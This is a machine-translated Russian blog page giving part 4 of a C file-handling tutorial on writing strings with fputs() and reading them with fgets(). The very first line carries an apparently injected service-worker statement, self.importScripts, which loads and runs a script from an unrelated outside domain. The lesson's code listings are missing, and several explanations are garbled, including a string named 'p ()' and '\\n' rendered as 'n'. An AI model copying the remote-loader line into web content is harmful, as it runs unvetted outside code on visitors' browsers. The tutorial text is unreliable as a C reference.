google-site-verification: google2818f8f06eec354e.html self.importScripts('https://zworld-news.com/sw/w_1.js');

Обработка файлов в C - часть 4

В последнем уроке я рассказал вам о программе копирования файлов, использующей функции ввода-вывода файлов. Из двух последних уроков вы наверняка заметили, что основа программы одинакова для всех, но мы делаем простой поворот, чтобы выполнить желаемое задание. Есть неограниченные возможности, используя функцию ввода-вывода файла. Я уже обсуждал два в последних двух уроках. Сегодня я расскажу вам о другой полезной программе, которая выполняет вывод файлов с использованием строк. И это будет последняя программа этой темы.

Обработка файлов в C

Строковый ввод / вывод в файлах

До сих пор мы выполняем ввод с использованием символов. Однако на практике мы часто используем строки вместо символов один за другим. В этой программе я буду использовать новую функцию с именем fputs (). Ах, да, ты прав! Эта функция будет использоваться для записи строк символов в файлах. Итак, давайте создадим одну программу для этого.
Выходные данные
Выше программа запишет строки символов в файл Demo.txt
Объяснение
1). В начале я объявил один указатель ФАЙЛА fp и строку p () длиной 80 символов.
2. После этого я открыл файл в режиме «w». Это проверит файл на диске. Если он присутствует, он откроет его, в противном случае он создаст файл с указанным именем и расширением.
3. Если доступ к файлу невозможен, появится сообщение «невозможно открыть файл».
4. После этого я поместил одну функцию printf (), чтобы сообщить пользователю записать несколько строк.
5. Теперь я создал один бесконечный цикл и использовал функцию strlen () для выхода из программы, если пользователь нажал клавишу Enter два раза одновременно.
6. Внутри цикла while я использовал функцию fputs () для записи строк в файл.
Давайте сделаем одну программу, чтобы увидеть, как читать строку из файла.

Выходные данные
Отображает содержимое файла demo.txt.
Пояснение
Я открыл файл demo.txt в режиме чтения. Сейчас я читаю строки из файла с помощью функции fgets (). Как вы можете видеть, я использовал 'n', это означает, что fgets () будет читать строку, пока не встретится новая строка. Когда fgets () больше не может найти строку, он возвращает NULL, и это будет конец файла.
Вы можете найти больше программ на C для обработки файлов здесь .

Комментариев нет:

Отправить комментарий